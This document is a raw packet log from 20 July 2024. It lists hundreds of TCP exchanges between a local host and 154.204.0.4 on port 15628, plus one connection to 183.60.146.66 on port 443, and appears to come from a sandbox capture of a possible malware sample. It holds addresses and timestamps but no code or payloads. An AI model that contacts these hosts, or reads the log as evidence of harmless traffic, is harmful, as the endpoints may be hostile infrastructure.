Jul 20, 2024 11:54:06.156805038 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.161803007 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.161973953 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.166924953 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.167109013 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.172087908 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.172377110 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.177388906 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.177573919 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.182717085 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.183260918 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.188260078 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.188364983 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.194216967 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.196943045 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.201864958 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.202193022 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.207353115 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.207432985 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.213174105 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.213279963 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.218221903 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.218543053 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.223623991 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.225821972 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.230643988 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.230712891 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.235605001 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.235757113 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.240674019 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.240834951 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.245686054 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.245816946 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.251090050 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.252984047 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.257926941 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.261039019 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.267158031 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.269007921 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.274074078 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.276993990 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.281888962 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.285044909 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.290369987 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.292963028 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.298094034 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.298278093 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.303483009 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.305007935 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.311078072 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.312974930 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.320719004 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.320967913 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.345216990 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.349075079 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.359297991 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.361356020 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.366307974 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.369020939 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.374288082 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.376967907 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.381918907 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.385071993 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.389997005 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.393300056 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.398272038 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.399863005 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.404824972 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.404937029 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.410008907 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.413065910 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.418129921 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.421015024 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.426009893 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.426229954 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.431113958 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.431226969 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.436916113 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.441024065 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.446325064 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.448988914 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.457066059 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.461077929 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.466061115 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.469064951 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.474461079 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.477039099 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.486690998 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.489136934 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.499681950 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.501030922 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.512968063 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.517438889 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.522418976 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.525049925 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.529989958 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.532993078 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.538378000 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.538536072 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.543615103 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.544991016 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.550462961 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.553006887 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.565340996 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.569149971 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.576014042 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.576976061 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.582082987 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.583601952 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.588917971 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.593019962 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.597954988 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.599114895 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.604130983 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.604264975 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.609313965 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.613006115 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.618135929 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.620999098 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.626013994 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.628993988 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.634037971 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.636976004 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.641861916 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.645006895 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.649879932 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.650007010 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.654901981 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.656965971 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.662343025 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.662401915 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.667666912 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.667727947 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.672756910 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.672811031 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.677706003 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.677767038 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.682782888 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.682846069 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.687833071 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.687910080 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.692837000 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.692909002 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.698240995 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.698302031 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.704807997 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.704870939 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.709834099 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.709903002 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.714826107 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.714883089 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.719696045 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.719753981 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.725105047 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.725161076 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.730528116 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.730592012 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.735707045 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.735786915 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.741952896 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.742012978 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.756153107 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.756233931 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.761328936 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.761384964 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.766840935 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.767648935 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.772660971 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.772713900 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.777713060 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.777764082 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.782625914 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.782685041 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.787529945 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.787590027 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.792581081 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.792772055 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.797671080 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.797724962 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.802696943 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.802762032 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.807672024 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.807728052 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.812558889 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.812611103 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.817626953 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.817679882 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.822932005 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.822993040 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.828829050 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.828891039 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.833826065 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.833877087 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.838936090 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.838988066 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.846463919 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.846520901 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.851433992 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.851484060 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.856982946 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.857044935 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.862060070 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.862108946 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.867185116 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.867230892 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.872131109 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.872201920 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.895608902 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.895700932 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.901076078 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.901146889 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.906228065 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.906284094 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.911267042 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.911322117 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.916517019 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.916587114 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.921612978 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.921685934 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.926894903 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.926954985 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.931804895 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.931858063 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.936681032 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.936733007 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.941823006 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.941879034 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.946667910 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.946717024 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.951514006 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.951560974 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.957983971 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.958034992 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.974478960 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.974561930 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.979703903 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.979773045 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.984994888 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.985058069 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.990710974 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.990784883 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:06.997426987 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:06.997499943 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.003324986 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.003391027 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.008558989 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.008624077 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.013649940 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.013706923 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.019068956 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.019135952 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.024305105 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.024362087 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.040781975 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.040853977 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.048059940 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.048122883 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.053502083 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.053610086 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.058542967 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.058593035 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.063676119 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.063720942 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.068813086 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.068876028 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.073766947 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.073815107 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.079349041 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.079400063 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.084366083 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.084419012 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.089394093 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.089458942 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.094708920 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.094768047 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.099668026 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.099721909 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.105142117 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.105209112 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.110076904 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.110156059 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.115227938 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.115282059 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.120126009 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.120177031 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.123792887 CEST	49744	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:54:07.123816013 CEST	443	49744	183.60.146.66	192.168.2.5
Jul 20, 2024 11:54:07.125102043 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.125153065 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.130079985 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.130131006 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.134933949 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.134991884 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.139972925 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.140029907 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.145126104 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.145184040 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.150130033 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.150192022 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.155265093 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.155318022 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.160312891 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.160367012 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.165569067 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.165621042 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.170540094 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.170594931 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.175668001 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.175780058 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.180825949 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.180877924 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.185734034 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.185789108 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.190783024 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.190838099 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.196069002 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.196124077 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.200967073 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.201023102 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.205790997 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.205842018 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.210664034 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.210716009 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.215554953 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:07.215610027 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:07.220575094 CEST	15628	49715	154.204.0.4	192.168.2.5
